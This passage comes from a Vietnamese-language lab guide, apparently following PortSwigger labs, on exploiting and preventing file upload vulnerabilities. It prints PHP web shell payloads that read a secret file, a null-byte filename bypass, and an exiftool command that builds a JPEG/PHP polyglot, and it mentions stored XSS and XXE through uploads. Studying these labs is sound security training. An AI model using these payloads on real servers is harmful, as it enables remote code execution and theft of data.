  2. Sแปญa ฤ‘แป•i nแป™i dung tแป‡p thร nh : <?php echo file_get_contents(/home/carlos/secret'); ?> sแปญa ฤ‘แป•i filename thร nh webshell.php%00jpg (Bแบกn tแปฑ kiแปƒm tra cรกc phแบงn mแปŸ rแป™ng tแป‡p trฦฐแป›c rแป“i mแป›i thแปญ phแบงn mแปŸ rแป™ng nร y ฤ‘แปƒ cรณ cรกi nhรฌn tแป•ng quan nhแบฅt)

File ฤ‘รฃ ฤ‘ฦฐแปฃc upload lรชn thร nh cรดng.

  1. Bรขy giแป, tรฌm request chแปฉa ฤ‘ฦฐแปng dแบซn ฤ‘แบฟn file mรฌnh vแปซa upload lรชn vร  gแปญi ฤ‘แบฟn Repeater. Xรณa ฤ‘uรดi %00jpg แปŸ ฤ‘ฦฐแปng dแบซn ฤ‘แปƒ ฤ‘แปc file.

Flawed validation of the file's contents

Thay vรฌ hoร n toร n tin tฦฐแปŸng vร o Content-Type ฤ‘ฦฐแปฃc chแป‰ ฤ‘แป‹nh trong mแป™t yรชu cแบงu, cรกc mรกy chแปง an toร n hฦกn sแบฝ cแป‘ gแบฏng xรกc minh rแบฑng nแป™i dung cแปงa tแป‡p thแปฑc sแปฑ khแป›p vแป›i nhแปฏng gรฌ ฤ‘ฦฐแปฃc mong ฤ‘แปฃi.

Trong trฦฐแปng hแปฃp chแปฉc nฤƒng tแบฃi ฤ‘ฦฐแปฃc lรชn hรฌnh แบฃnh, mรกy chแปง cรณ thแปƒ cแป‘ gแบฏng xรกc minh mแป™t sแป‘ thuแป™c tรญnh nแป™i tแบกi cแปงa hรฌnh แบฃnh, chแบณng hแบกn nhฦฐ kรญch thฦฐแป›c cแปงa hรฌnh แบฃnh. Vรญ dแปฅ: nแบฟu bแบกn thแปญ tแบฃi lรชn mแป™t tแบญp lแป‡nh PHP, tแบญp lแป‡nh ฤ‘รณ sแบฝ khรดng bแบฅt kแปณ thแปฉ nguyรชn nร o. Do ฤ‘รณ, mรกy chแปง cรณ thแปƒ suy luแบญn rแบฑng ฤ‘รณ khรดng thแปƒ lร  hรฌnh แบฃnh vร  tแปซ chแป‘i tแบฃi lรชn tฦฐฦกng แปฉng.

Tฦฐฦกng tแปฑ, mแป™t sแป‘ loแบกi tแป‡p nhแบฅt ฤ‘แป‹nh cรณ thแปƒ luรดn chแปฉa mแป™t byte cแปฅ thแปƒ trong ฤ‘แบงu trang hoแบทc chรขn trang cแปงa chรบng. Chรบng cรณ thแปƒ ฤ‘ฦฐแปฃc sแปญ dแปฅng nhฦฐ dแบฅu vรขn tay hoแบทc chแปฏ kรญ ฤ‘แปƒ xรกc ฤ‘แป‹nh xem nแป™i dung cรณ khแป›p vแป›i loแบกi dแปฑ kiแบฟn hay khรดng. Vรญ dแปฅ : cรกc tแป‡p JPEG luรดn bแบฏt ฤ‘แบงu bแบฑng byte FF D8 FF E0

Thแปฑc hร nh lab: (Level Practitioner)

Tรชn lab: Remote code execution via polyglot web shell upload

Nแป™i dung lab: Trang web nร y chแปฉa chแปฉc nฤƒng tแบฃi แบฃnh lรชn dแป… bแป‹ tแบฅn cรดng. Mแบทc dรน ฤ‘รฃ kiแปƒm tra nแป™i dung cแปงa tแป‡p ฤ‘แปƒ xรกc minh rแบฑng ฤ‘รณ lร  hรฌnh แบฃnh ฤ‘รบng nhฦฐng vแบซn cรณ thแปƒ tแบฃi lรชn vร  thแปฑc thi mรฃ phรญa mรกy chแปง. ฤแปƒ giแบฃi quyแบฟt vแบฅn ฤ‘แป nร y, ฤ‘แปc nแป™i dung tแป‡p /home/carlos/secret.

Thแปฑc hiแป‡n lab:

  1. Tแบกo 1 file php vแป›i nแป™i dung: <?php echo file_get_contents('/home/carlos/content'); ?> Upload file nร y lรชn vร  xem trang web ฤ‘รฃ chแบทn bแบฑng biแป‡n phรกp nร o.

  2. Tแบกo mแป™t polyglot vแป›i exiftool: exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-images.jpg -o polyglot.php

  3. Upload file polyglot.php lรชn vร  ฤ‘แปc nแป™i dแปฅng file bรญ mแบญt:

Exploiting file upload vulnerabilities without remote code execution

Trong cรกc bร i lab trรชn, chรบng ta ฤ‘รฃ cรณ thแปƒ tแบฃi lรชn cรกc tแบญp lแป‡nh phรญa mรกy chแปง ฤ‘แปƒ thแปฑc thi mรฃ tแปซ xa. ฤรขy lร  hแบญu quแบฃ nghiรชm trแปng nhแบฅt cแปงa chแปฉc nฤƒng tแบฃi lรชn tแป‡p khรดng an toร n, nhฦฐng nhแปฏng lแป— hแป•ng nร y vแบซn cรณ thแปƒ bแป‹ khai thรกc theo nhแปฏng cรกch khรกc.

Uploading malicious client-site topics

Mแบทc dรน khรดng thแปƒ thแปฑc thi tแบญp lแป‡nh trรชn mรกy chแปง, nhฦฐng bแบกn vแบซn cรณ thแปƒ tแบฃi lรชn tแบญp lแป‡nh cho cรกc cuแป™c tแบฅn cรดng phรญa mรกy khรกch. Vรญ dแปฅ, nแบฟu bแบกn cรณ thแปƒ tแบฃi lรชn tแป‡p HTML hoแบทc SVG, bแบกn cรณ thแปƒ sแปญ dแปฅng <script> ฤ‘แปƒ tแบกo payload Stored XSS.

Nแบฟu tแป‡p ฤ‘รฃ tแบฃi lรชn sau ฤ‘รณ xuแบฅt hiแป‡n mแป™t trang ฤ‘ฦฐแปฃc ngฦฐแปi dรนng khรกc truy cแบญp, thรฌ trรฌnh duyแป‡t cแปงa hแป sแบฝ thแปฑc thi tแบญp lแป‡nh khi cแป‘ gแบฏng hiแปƒn thแป‹ trang. Lฦฐu รฝ rแบฑng do cรกc hแบกn chแบฟ vแป chรญnh sรกch, cรกc kiแปƒu tแบฅn cรดng nร y sแบฝ chแป‰ hoแบกt ฤ‘แป™ng nแบฟu tแป‡p ฤ‘รฃ tแบฃi lรชn ฤ‘ฦฐแปฃc phรขn phรกt tแปซ mแป™t nguแป“n gแป‘c mร  bแบกn tแบฃi tแป‡p lรชn

Exploiting vulnerabilities in the parsing of uploaded files

Nแบฟu tแป‡p ฤ‘รฃ tแบฃi lรชn dฦฐแปng nhฦฐ vแปซa ฤ‘ฦฐแปฃc lฦฐu trแปฏ vแปซa ฤ‘ฦฐแปฃc phรกt tรกn an toร n, thรฌ biแป‡n phรกp cuแป‘i cรนng lร  thแปญ khai thรกc cรกc lแป— hแป•ng dร nh riรชng cho viแป‡c phรขn tรญch cรบ phรกp hoแบทc xแปญ lรฝ cรกc ฤ‘แป‹nh dแบกng tแป‡p khรกc nhau. Vรญ dแปฅ, bแบกn biแบฟt rแบฑng mรกy chแปง phรขn tรญch cรบ phรกp cรกc tแป‡p dแปฑa trรชn XML, chแบณng hแบกn nhฦฐ Microsoft Office cรกc tแป‡p .doc hoแบทc .xls. ฤ‘รขy cรณ thแปƒ lร  vector tiแปm nฤƒng cho cรกc cuแป™c XXE injection

Uploading files using PUT

Cแบงn chรบ รฝ rแบฑng, mแป™t sแป‘ mรกy chแปง web cรณ thแปƒ ฤ‘ฦฐแปฃc cแบฅu hรฌnh ฤ‘แปƒ hแป— trแปฃ yรชu cแบงu PUT. Nแบฟu khรดng cรณ biแป‡n phรกp phรฒng vแป‡ thรญch hแปฃp, ฤ‘iแปu nร y cรณ thแปƒ cung cแบฅp mแป™t phฦฐฦกng tiแป‡n thay thแบฟ ฤ‘แปƒ tแบฃi lรชn cรกc tแป‡p ฤ‘แป™c hแบกi, nay cแบฃ khi chแปฉc nฤƒng tแบฃi lรชn khรดng khแบฃ dแปฅng qua giao diแป‡n web.

Bแบกn cรณ thแปƒ gแปญi yรชu cแบงu OPTIONS ฤ‘แบฟn cรกc ฤ‘iแปƒm cuแป‘i khรกc nhau ฤ‘แปƒ kiแปƒm tra xem cรณ bแบฅt kแปณ ฤ‘iแปƒm cuแป‘i nร o hแป— trแปฃ cho phฦฐฦกng phรกp PUT hay khรดng.

How to prevent file upload vulnerabilities

Viแป‡c cho phรฉp ngฦฐแปi dรนng tแบฃi lรชn tแป‡p lร  phแป• biแบฟn vร  khรดng nguy hiแปƒm miแป…n lร  bแบกn thแปฑc hiแป‡n cรกc biแป‡n phรกp phรฒng ngแปซa ฤ‘รบng ฤ‘แบฏn. Nรณi chung, cรกch hiแป‡u quแบฃ nhแบฅt ฤ‘แปƒ bแบฃo vแป‡ trang web cแปงa bแบกn khแปi nhแปฏng lแป— hแป•ng nร y lร  thแปฑc hiแป‡n tแบฅt cแบฃ cรกc phฦฐฦกng phรกp sau:

  1. Kiแปƒm tra phแบงn mแปŸ rแป™ng tแป‡p dแปฑa trรชn danh sรกch trแบฏng vร  danh sรกch ฤ‘en cรกc phแบงn mแปŸ rแป™ng bแป‹ cแบฅm. Viแป‡c ฤ‘oรกn tiแป‡n รญch mแปŸ rแป™ng nร o bแบกn cรณ thแปƒ muแป‘n cho phรฉp sแบฝ dแป… dร ng hฦกn nhiแปu so vแป›i viแป‡c ฤ‘oรกn tiแป‡n รญch mแปŸ rแป™ng nร o mร  kแบป tแบฅn cรดng cรณ thแปƒ cแป‘ tแบฃi lรชn.

  2. ฤแบฃm bแบฃo rแบฑng tรชn tแป‡p khรดng chแปฉa bแบฅt kแปณ chuแป—i con nร o cรณ thแปƒ ฤ‘ฦฐแปฃc hiแปƒu lร  thฦฐ mแปฅc hoแบทc trรฌnh tแปฑ truyแปn tแบฃi (../)

  3. ฤแป•i tรชn cรกc tแป‡p ฤ‘รฃ tแบฃi lรชn ฤ‘แปƒ trรกnh xung ฤ‘แป™t cรณ thแปƒ khiแบฟn cรกc tแป‡p hiแป‡n cรณ bแป‹ ghi ฤ‘รจ.

  4. Khรดng tแบฃi tแป‡p lรชn hแป‡ thแป‘ng cแป‘ ฤ‘แป‹nh cแปงa mรกy chแปง cho ฤ‘แบฟn khi chรบng ฤ‘ฦฐแปฃc xรกc thแปฑc ฤ‘แบงy ฤ‘แปง.

PreviousDirectory traversalNextInformation disclosure vulnerabilities

Last updated